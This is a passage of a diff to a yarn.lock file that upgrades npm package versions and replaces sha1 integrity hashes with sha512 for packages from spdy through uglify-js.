+  integrity sha512-Bvg/8F5XephndSK3JffaRqdT+gyhfqIPwDHpX80tJrF8QQRYMo8sNMeaZ2Dp5+jhwKnUmIOyFFQfHRkjJm5nXg==
 
 spdy-transport@^2.0.18:
   version "2.1.1"
@@ -7393,7 +7868,7 @@ spdy-transport@^2.0.18:
 spdy@^3.4.1:
   version "3.4.7"
   resolved "https://registry.yarnpkg.com/spdy/-/spdy-3.4.7.tgz#42ff41ece5cc0f99a3a6c28aabb73f5c3b03acbc"
-  integrity sha1-Qv9B7OXMD5mjpsKKq7c/XDsDrLw=
+  integrity sha512-jEvgkLRpMza5GON0oDzvLTLMAVfB5BxeOPbsWyisEyE8IbxL6cCiKbr8xrJdScs6XoOUp7pQy4PI+GVczHbO4w==
   dependencies:
     debug "^2.6.8"
     handle-thing "^1.2.5"
@@ -7415,9 +7890,9 @@ sprintf-js@~1.0.2:
   integrity sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=
 
 sshpk@^1.7.0:
-  version "1.16.1"
-  resolved "https://registry.yarnpkg.com/sshpk/-/sshpk-1.16.1.tgz#fb661c0bef29b39db40769ee39fa70093d6f6877"
-  integrity sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==
+  version "1.18.0"
+  resolved "https://registry.yarnpkg.com/sshpk/-/sshpk-1.18.0.tgz#1663e55cddf4d688b86a46b77f0d5fe363aba028"
+  integrity sha512-2p2KJZTSqQ/I3+HX42EpYOa2l3f8Erv8MWKsy2I9uf4wA7yFIkXRffYdsx86y6z4vHtV8u7g+pPlr8/4ouAxsQ==
   dependencies:
     asn1 "~0.2.3"
     assert-plus "^1.0.0"
@@ -7432,12 +7907,17 @@ sshpk@^1.7.0:
 static-extend@^0.1.1:
   version "0.1.2"
   resolved "https://registry.yarnpkg.com/static-extend/-/static-extend-0.1.2.tgz#60809c39cbff55337226fd5e0b520f341f1fb5c6"
-  integrity sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=
+  integrity sha512-72E9+uLc27Mt718pMHt9VMNiAL4LMsmDbBva8mxWUCkT07fSzEGMYUCk0XWY6lp0j6RBAG4cJ3mWuZv2OE3s0g==
   dependencies:
     define-property "^0.2.5"
     object-copy "^0.1.0"
 
-"statuses@>= 1.4.0 < 2", "statuses@>= 1.5.0 < 2", statuses@~1.5.0:
+statuses@2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/statuses/-/statuses-2.0.1.tgz#55cb000ccf1d48728bd23c685a063998cf1a1b63"
+  integrity sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==
+
+"statuses@>= 1.4.0 < 2":
   version "1.5.0"
   resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c"
   integrity sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=
@@ -7469,14 +7949,14 @@ strict-uri-encode@^1.0.0:
 string-length@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/string-length/-/string-length-1.0.1.tgz#56970fb1c38558e9e70b728bf3de269ac45adfac"
-  integrity sha1-VpcPscOFWOnnC3KL894mmsRa36w=
+  integrity sha512-MNCACnufWUf3pQ57O5WTBMkKhzYIaKEcUioO0XHrTMafrbBaNk4IyDOLHBv5xbXO0jLLdsYWeFjpjG2hVHRDtw==
   dependencies:
     strip-ansi "^3.0.0"
 
 string-width@^1.0.1, string-width@^1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/string-width/-/string-width-1.0.2.tgz#118bdf5b8cdc51a2a7e70d211e07e2b0b9b107d3"
-  integrity sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=
+  integrity sha512-0XsVpQLnVCXHJfyEs8tC0zpTVIr5PKKsQtkT29IwupnPTjtPmQ3xT/4yCREF9hYkV/3M3kzcUTSAZT6a6h81tw==
   dependencies:
     code-point-at "^1.0.0"
     is-fullwidth-code-point "^1.0.0"
@@ -7490,21 +7970,37 @@ string-width@^2.0.0, string-width@^2.1.0, string-width@^2.1.1:
     is-fullwidth-code-point "^2.0.0"
     strip-ansi "^4.0.0"
 
-string.prototype.trimend@^1.0.1:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/string.prototype.trimend/-/string.prototype.trimend-1.0.3.tgz#a22bd53cca5c7cf44d7c9d5c732118873d6cd18b"
-  integrity sha512-ayH0pB+uf0U28CtjlLvL7NaohvR1amUvVZk+y3DYb0Ey2PUV5zPkkKy9+U1ndVEIXO8hNg18eIv9Jntbii+dKw==
-  dependencies:
-    call-bind "^1.0.0"
-    define-properties "^1.1.3"
-
-string.prototype.trimstart@^1.0.1:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.3.tgz#9b4cb590e123bb36564401d59824298de50fd5aa"
-  integrity sha512-oBIBUy5lea5tt0ovtOFiEQaBkoBBkyJhZXzJYrSmDo5IUUqbOPvVezuRs/agBIdZ2p2Eo1FD6bD9USyBLfl3xg==
+string.prototype.trim@^1.2.10:
+  version "1.2.10"
+  resolved "https://registry.yarnpkg.com/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz#40b2dd5ee94c959b4dcfb1d65ce72e90da480c81"
+  integrity sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.2"
+    define-data-property "^1.1.4"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-object-atoms "^1.0.0"
+    has-property-descriptors "^1.0.2"
+
+string.prototype.trimend@^1.0.9:
+  version "1.0.9"
+  resolved "https://registry.yarnpkg.com/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz#62e2731272cd285041b36596054e9f66569b6942"
+  integrity sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.2"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
+
+string.prototype.trimstart@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz#7ee834dda8c7c17eff3118472bb35bfedaa34dde"
+  integrity sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==
   dependencies:
-    call-bind "^1.0.0"
-    define-properties "^1.1.3"
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
 
 string_decoder@^1.0.0, string_decoder@^1.1.1:
   version "1.3.0"
@@ -7523,45 +8019,45 @@ string_decoder@~1.1.1:
 strip-ansi@3.0.1, strip-ansi@^3.0.0, strip-ansi@^3.0.1:
   version "3.0.1"
   resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-3.0.1.tgz#6a385fb8853d952d5ff05d0e8aaf94278dc63dcf"
-  integrity sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=
+  integrity sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==
   dependencies:
     ansi-regex "^2.0.0"
 
 strip-ansi@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-4.0.0.tgz#a8479022eb1ac368a871389b635262c505ee368f"
-  integrity sha1-qEeQIusaw2iocTibY1JixQXuNo8=
+  integrity sha512-4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow==
   dependencies:
     ansi-regex "^3.0.0"
 
 strip-bom@3.0.0, strip-bom@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-3.0.0.tgz#2334c18e9c759f7bdd56fdef7e9ae3d588e68ed3"
-  integrity sha1-IzTBjpx1n3vdVv3vfprj1YjmjtM=
+  integrity sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==
 
 strip-bom@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-2.0.0.tgz#6219a85616520491f35788bdbf1447a99c7e6b0e"
-  integrity sha1-YhmoVhZSBJHzV4i9vxRHqZx+aw4=
+  integrity sha512-kwrX1y7czp1E69n2ajbG65mIo9dqvJ+8aBQXOGVxqwvNbsXdFM6Lq37dLAY3mknUwru8CfcCbfOLL/gMo+fi3g==
   dependencies:
     is-utf8 "^0.2.0"
 
 strip-eof@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/strip-eof/-/strip-eof-1.0.0.tgz#bb43ff5598a6eb05d89b59fcd129c983313606bf"
-  integrity sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=
+  integrity sha512-7FCwGGmx8mD5xQd3RPUvnSpUXHM3BWuzjtpD4TXsfcZ9EL4azvVVUscFYwD9nx8Kh+uCBC00XBtAykoMHwTh8Q==
 
 strip-indent@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/strip-indent/-/strip-indent-1.0.1.tgz#0c7962a6adefa7bbd4ac366460a638552ae1a0a2"
-  integrity sha1-DHlipq3vp7vUrDZkYKY4VSrhoKI=
+  integrity sha512-I5iQq6aFMM62fBEAIB/hXzwJD6EEZ0xEGCX2t7oXqaKPIRgt4WruAQ285BISgdkP+HLGWyeGmNJcpIwFeRYRUA==
   dependencies:
     get-stdin "^4.0.1"
 
 strip-json-comments@~2.0.1:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-2.0.1.tgz#3c531942e908c2697c0ec344858c286c7ca0a60a"
-  integrity sha1-PFMZQukIwml8DsNEhYwobHygpgo=
+  integrity sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==
 
 style-loader@0.19.0:
   version "0.19.0"
@@ -7574,19 +8070,19 @@ style-loader@0.19.0:
 supports-color@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-2.0.0.tgz#535d045ce6b6363fa40117084629995e9df324c7"
-  integrity sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=
+  integrity sha512-KKNVtd6pCYgPIKU4cp2733HWYCpplQhddZLBUryaAHou723x+FRzQ5Df824Fj+IyyuiQTRoub4SnIFfIcrp70g==
 
 supports-color@^3.1.2, supports-color@^3.2.3:
   version "3.2.3"
   resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-3.2.3.tgz#65ac0504b3954171d8a64946b2ae3cbb8a5f54f6"
-  integrity sha1-ZawFBLOVQXHYpklGsq48u4pfVPY=
+  integrity sha512-Jds2VIYDrlp5ui7t8abHN2bjAu4LV/q4N2KivFPpGH0lrka0BMq/33AmECUXlKPcHigkNaqfXRENFju+rlcy+A==
   dependencies:
     has-flag "^1.0.0"
 
 supports-color@^4.2.1:
   version "4.5.0"
   resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-4.5.0.tgz#be7a0de484dec5c5cddf8b3d59125044912f635b"
-  integrity sha1-vnoN5ITexcXN34s9WRJQRJEvY1s=
+  integrity sha512-ycQR/UbvI9xIlEdQT1TQqwoXtEldExbCEAJgRo5YXlmSKjv6ThHnP9/vwGa1gr19Gfw+LkFd7KqYMhzrRC5JYw==
   dependencies:
     has-flag "^2.0.0"
 
@@ -7604,10 +8100,15 @@ supports-color@^7.1.0:
   dependencies:
     has-flag "^4.0.0"
 
+supports-preserve-symlinks-flag@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz#6eda4bd344a3c94aea376d4cc31bc77311039e09"
+  integrity sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==
+
 svgo@^0.7.0:
   version "0.7.2"
   resolved "https://registry.yarnpkg.com/svgo/-/svgo-0.7.2.tgz#9f5772413952135c6fefbf40afe6a4faa88b4bb5"
-  integrity sha1-n1dyQTlSE1xv779Ar+ak+qiLS7U=
+  integrity sha512-jT/g9FFMoe9lu2IT6HtAxTA7RR2XOrmcrmCtGnyB/+GQnV6ZjNn+KOHZbZ35yL81+1F/aB6OeEsJztzBQ2EEwA==
   dependencies:
     coa "~1.0.1"
     colors "~1.1.2"
@@ -7620,7 +8121,7 @@ svgo@^0.7.0:
 sw-precache-webpack-plugin@0.11.4:
   version "0.11.4"
   resolved "https://registry.yarnpkg.com/sw-precache-webpack-plugin/-/sw-precache-webpack-plugin-0.11.4.tgz#a695017e54eed575551493a519dc1da8da2dc5e0"
-  integrity sha1-ppUBflTu1XVVFJOlGdwdqNotxeA=
+  integrity sha512-czvYwc8cy3K2F62PYuuja1p5NTqI3suFuUy8fDhcgS9cV5gO8jDlewQhhyUctcsA2T1Nb39W16nzSx8RwqkAvQ==
   dependencies:
     del "^2.2.2"
     sw-precache "^5.1.1"
@@ -7645,7 +8146,7 @@ sw-precache@^5.1.1:
 sw-toolbox@^3.4.0:
   version "3.6.0"
   resolved "https://registry.yarnpkg.com/sw-toolbox/-/sw-toolbox-3.6.0.tgz#26df1d1c70348658e4dea2884319149b7b3183b5"
-  integrity sha1-Jt8dHHA0hljk3qKIQxkUm3sxg7U=
+  integrity sha512-v/hu7KQQtospyDLpZxz7m5c7s90aj53YEkJ/A8x3mLPlSgIkZ6RKJkTjBG75P1p/fo5IeSA4TycyJg3VSu/aPw==
   dependencies:
     path-to-regexp "^1.0.1"
     serviceworker-cache-polyfill "^4.0.0"
@@ -7675,7 +8176,7 @@ tapable@^0.2.7:
 term-size@^1.2.0:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/term-size/-/term-size-1.2.0.tgz#458b83887f288fc56d6fffbfad262e26638efa69"
-  integrity sha1-RYuDiH8oj8Vtb/+/rSYuJmOO+mk=
+  integrity sha512-7dPUZQGy/+m3/wjVz3ZW5dobSoD/02NxJpoXUX0WIyjfVS3l0c+b/+9phIDFA7FHzkYtwtMFgeGZ/Y8jVTeqQQ==
   dependencies:
     execa "^0.7.0"
 
@@ -7693,7 +8194,7 @@ test-exclude@^4.2.1:
 text-table@0.2.0, text-table@~0.2.0:
   version "0.2.0"
   resolved "https://registry.yarnpkg.com/text-table/-/text-table-0.2.0.tgz#7f5ee823ae805207c00af2df4a84ec3fcfa570b4"
-  integrity sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=
+  integrity sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==
 
 throat@^3.0.0:
   version "3.2.0"
@@ -7703,7 +8204,7 @@ throat@^3.0.0:
 through@^2.3.6:
   version "2.3.8"
   resolved "https://registry.yarnpkg.com/through/-/through-2.3.8.tgz#0dd4c9ffaabc357960b1b724115d7e0e86a2e1f5"
-  integrity sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=
+  integrity sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==
 
 thunky@^1.0.2:
   version "1.1.0"
@@ -7718,7 +8219,7 @@ time-stamp@^2.0.0:
 timed-out@^4.0.0:
   version "4.0.1"
   resolved "https://registry.yarnpkg.com/timed-out/-/timed-out-4.0.1.tgz#f32eacac5a175bea25d7fab565ab3ed8741ef56f"
-  integrity sha1-8y6srFoXW+ol1/q1Zas+2HQe9W8=
+  integrity sha512-G7r3AhovYtr5YKOWQkta8RKAPb+J9IsO4uVmzjl8AZwfhs8UcUwTiD6gcJYSgOtzyjvQKrKYn41syHbUWMkafA==
 
 timers-browserify@^2.0.4:
   version "2.0.12"
@@ -7734,32 +8235,32 @@ tmp@^0.0.33:
   dependencies:
     os-tmpdir "~1.0.2"
 
-tmpl@1.0.x:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/tmpl/-/tmpl-1.0.4.tgz#23640dd7b42d00433911140820e5cf440e521dd1"
-  integrity sha1-I2QN17QtAEM5ERQIIOXPRA5SHdE=
+tmpl@1.0.5:
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/tmpl/-/tmpl-1.0.5.tgz#8683e0b902bb9c20c4f726e3c0b69f36518c07cc"
+  integrity sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==
 
 to-arraybuffer@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/to-arraybuffer/-/to-arraybuffer-1.0.1.tgz#7d229b1fcc637e466ca081180836a7aabff83f43"
-  integrity sha1-fSKbH8xjfkZsoIEYCDanqr/4P0M=
+  integrity sha512-okFlQcoGTi4LQBG/PgSYblw9VOyptsz2KJZqc6qtgGdes8VktzUQkj4BI2blit072iS8VODNcMA+tvnS9dnuMA==
 
 to-fast-properties@^1.0.3:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/to-fast-properties/-/to-fast-properties-1.0.3.tgz#b83571fa4d8c25b82e231b06e3a3055de4ca1a47"
-  integrity sha1-uDVx+k2MJbguIxsG46MFXeTKGkc=
+  integrity sha512-lxrWP8ejsq+7E3nNjwYmUBMAgjMTZoTI+sdBOpvNyijeDLa29LUn9QaoXAHv4+Z578hbmHHJKZknzxVtvo77og==
 
 to-object-path@^0.3.0:
   version "0.3.0"
   resolved "https://registry.yarnpkg.com/to-object-path/-/to-object-path-0.3.0.tgz#297588b7b0e7e0ac08e04e672f85c1f4999e17af"
-  integrity sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=
+  integrity sha512-9mWHdnGRuh3onocaHzukyvCZhzvr6tiflAy/JRFXcJX0TjgfWA9pk9t8CMbzmBE4Jfw58pXbkngtBtqYxzNEyg==
   dependencies:
     kind-of "^3.0.2"
 
 to-regex-range@^2.1.0:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-2.1.1.tgz#7c80c17b9dfebe599e27367e0d4dd5590141db38"
-  integrity sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=
+  integrity sha512-ZZWNfCjUokXXDGXFpZehJIkZqq91BcULFq/Pi7M5i4JnxXdhMKAK682z8bCW3o8Hj1wuuzoKcW3DfVzaP6VuNg==
   dependencies:
     is-number "^3.0.0"
     repeat-string "^1.6.1"
@@ -7781,15 +8282,15 @@ to-regex@^3.0.1, to-regex@^3.0.2:
     regex-not "^1.0.2"
     safe-regex "^1.1.0"
 
-toidentifier@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/toidentifier/-/toidentifier-1.0.0.tgz#7e1be3470f1e77948bc43d94a3c8f4d7752ba553"
-  integrity sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==
+toidentifier@1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/toidentifier/-/toidentifier-1.0.1.tgz#3be34321a88a820ed1bd80dfaa33e479fbb8dd35"
+  integrity sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==
 
 toposort@^1.0.0:
   version "1.0.7"
   resolved "https://registry.yarnpkg.com/toposort/-/toposort-1.0.7.tgz#2e68442d9f64ec720b8cc89e6443ac6caa950029"
-  integrity sha1-LmhELZ9k7HILjMieZEOsbKqVACk=
+  integrity sha512-FclLrw8b9bMWf4QlCJuHBEVhSRsqDj6u3nIjAzPeJvgl//1hBlffdlk0MALceL14+koWEdU4ofRAXofbODxQzg==
 
 tough-cookie@^2.3.2, tough-cookie@~2.5.0:
   version "2.5.0"
@@ -7802,34 +8303,34 @@ tough-cookie@^2.3.2, tough-cookie@~2.5.0:
 tr46@~0.0.3:
   version "0.0.3"
   resolved "https://registry.yarnpkg.com/tr46/-/tr46-0.0.3.tgz#8184fd347dac9cdc185992f3a6622e14b9d9ab6a"
-  integrity sha1-gYT9NH2snNwYWZLzpmIuFLnZq2o=
+  integrity sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==
 
 trim-newlines@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/trim-newlines/-/trim-newlines-1.0.0.tgz#5887966bb582a4503a41eb524f7d35011815a613"
-  integrity sha1-WIeWa7WCpFA6QetST301ARgVphM=
+  integrity sha512-Nm4cF79FhSTzrLKGDMi3I4utBtFv8qKy4sq1enftf2gMdpqI8oVQTAfySkTz5r49giVzDj88SVZXP4CeYQwjaw==
 
 trim-right@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/trim-right/-/trim-right-1.0.1.tgz#cb2e1203067e0c8de1f614094b9fe45704ea6003"
-  integrity sha1-yy4SAwZ+DI3h9hQJS5/kVwTqYAM=
+  integrity sha512-WZGXGstmCWgeevgTL54hrCuw1dyMQIzWy7ZfqRJfSmJZBwklI15egmQytFP6bPidmw3M8d5yEowl1niq4vmqZw==
 
 tty-browserify@0.0.0:
   version "0.0.0"
   resolved "https://registry.yarnpkg.com/tty-browserify/-/tty-browserify-0.0.0.tgz#a157ba402da24e9bf957f9aa69d524eed42901a6"
-  integrity sha1-oVe6QC2iTpv5V/mqadUk7tQpAaY=
+  integrity sha512-JVa5ijo+j/sOoHGjw0sxw734b1LhBkQ3bvUGNdxnVXDCX81Yx7TFgnZygxrIIWn23hbfTaMYLwRmAxFyDuFmIw==
 
 tunnel-agent@^0.6.0:
   version "0.6.0"
   resolved "https://registry.yarnpkg.com/tunnel-agent/-/tunnel-agent-0.6.0.tgz#27a5dea06b36b04a0a9966774b290868f0fc40fd"
-  integrity sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=
+  integrity sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==
   dependencies:
     safe-buffer "^5.0.1"
 
 tweetnacl@^0.14.3, tweetnacl@~0.14.0:
   version "0.14.5"
   resolved "https://registry.yarnpkg.com/tweetnacl/-/tweetnacl-0.14.5.tgz#5ae68177f192d4456269d108afa93ff8743f4f64"
-  integrity sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=
+  integrity sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA==
 
 type-check@~0.3.2:
   version "0.3.2"
@@ -7838,7 +8339,7 @@ type-check@~0.3.2:
   dependencies:
     prelude-ls "~1.1.2"
 
-type-is@~1.6.17, type-is@~1.6.18:
+type-is@~1.6.18:
   version "1.6.18"
   resolved "https://registry.yarnpkg.com/type-is/-/type-is-1.6.18.tgz#4e552cd05df09467dcbc4ef739de89f2cf37c131"
   integrity sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==
@@ -7846,30 +8347,60 @@ type-is@~1.6.17, type-is@~1.6.18:
     media-typer "0.3.0"
     mime-types "~2.1.24"
 
-type@^1.0.1:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/type/-/type-1.2.0.tgz#848dd7698dafa3e54a6c479e759c4bc3f18847a0"
-  integrity sha512-+5nt5AAniqsCnu2cEQQdpzCAh33kVx8n0VoFidKpB1dVVLAN/F+bgVOqOJqOnEnrhp222clB5p3vUlD+1QAnfg==
+type@^2.7.2:
+  version "2.7.3"
+  resolved "https://registry.yarnpkg.com/type/-/type-2.7.3.tgz#436981652129285cc3ba94f392886c2637ea0486"
+  integrity sha512-8j+1QmAbPvLZow5Qpi6NCaN8FB60p/6x8/vfNqOk/hC+HuvFZhL4+WfekuhQLiqFZXOgQdrs3B+XxEmCc6b3FQ==
 
-type@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/type/-/type-2.1.0.tgz#9bdc22c648cf8cf86dd23d32336a41cfb6475e3f"
-  integrity sha512-G9absDWvhAWCV2gmF1zKud3OyC61nZDwWvBL2DApaVFogI07CprggiQAOOjvp2NRjYWFzPyu7vwtDrQFq8jeSA==
+typed-array-buffer@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz#a72395450a4869ec033fd549371b47af3a2ee536"
+  integrity sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    is-typed-array "^1.1.14"
 
-type@^2.7.2:
-  version "2.7.2"
-  resolved "https://registry.yarnpkg.com/type/-/type-2.7.2.tgz#2376a15a3a28b1efa0f5350dcf72d24df6ef98d0"
-  integrity sha512-dzlvlNlt6AXU7EBSfpAscydQ7gXB+pPGsPnfJnZpiNJBDj7IaJzQlBZYGdEi4R9HmPdBv2XmWJ6YUtoTa7lmCw==
+typed-array-byte-length@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz#8407a04f7d78684f3d252aa1a143d2b77b4160ce"
+  integrity sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==
+  dependencies:
+    call-bind "^1.0.8"
+    for-each "^0.3.3"
+    gopd "^1.2.0"
+    has-proto "^1.2.0"
+    is-typed-array "^1.1.14"
+
+typed-array-byte-offset@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz#ae3698b8ec91a8ab945016108aef00d5bff12355"
+  integrity sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==
+  dependencies:
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.8"
+    for-each "^0.3.3"
+    gopd "^1.2.0"
+    has-proto "^1.2.0"
+    is-typed-array "^1.1.15"
+    reflect.getprototypeof "^1.0.9"
+
+typed-array-length@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/typed-array-length/-/typed-array-length-1.0.7.tgz#ee4deff984b64be1e118b0de8c9c877d5ce73d3d"
+  integrity sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==
+  dependencies:
+    call-bind "^1.0.7"
+    for-each "^0.3.3"
+    gopd "^1.0.1"
+    is-typed-array "^1.1.13"
+    possible-typed-array-names "^1.0.0"
+    reflect.getprototypeof "^1.0.6"
 
 typedarray@^0.0.6:
   version "0.0.6"
   resolved "https://registry.yarnpkg.com/typedarray/-/typedarray-0.0.6.tgz#867ac74e3864187b1d3d47d996a78ec5c8830777"
-  integrity sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=
-
-ua-parser-js@^0.7.18:
-  version "0.7.23"
-  resolved "https://registry.yarnpkg.com/ua-parser-js/-/ua-parser-js-0.7.23.tgz#704d67f951e13195fbcd3d78818577f5bc1d547b"
-  integrity sha512-m4hvMLxgGHXG3O3fQVAyyAQpZzDOvwnhOTjYz5Xmr7r/+LpkNy3vJXdVRWgd1TkAb7NGROZuSy96CrlNVjA7KA==
+  integrity sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==
 
 uglify-js@3.4.x:
   version "3.4.10"
@@ -7882,7 +8413,7 @@ uglify-js@3.4.x:
 uglify-js@^2.8.29:
   version "2.8.29"
   resolved "https://registry.yarnpkg.com/uglify-js/-/uglify-js-2.8.29.tgz#29c5733148057bb4e1f75df35b7a9cb72e6a59dd"
-  integrity sha1-KcVzMUgFe7Th913zW3qcty5qWd0=
+  integrity sha512-qLq/4y2pjcU3vhlhseXGGJ7VbFO4pBANu0kwl8VCa9KEI0V8VfZIx2Fy3w01iSTA/pGwKZSmu/+I4etLNDdt5w==
   dependencies:
     source-map "~0.5.1"
     yargs "~3.10.0"
@@ -7890,24 +8421,34 @@ uglify-js@^2.8.29:
     uglify-to-browserify "~1.0.0"
 
 uglify-js@^3.0.13, uglify-js@^3.1.4:
-  version "3.12.1"
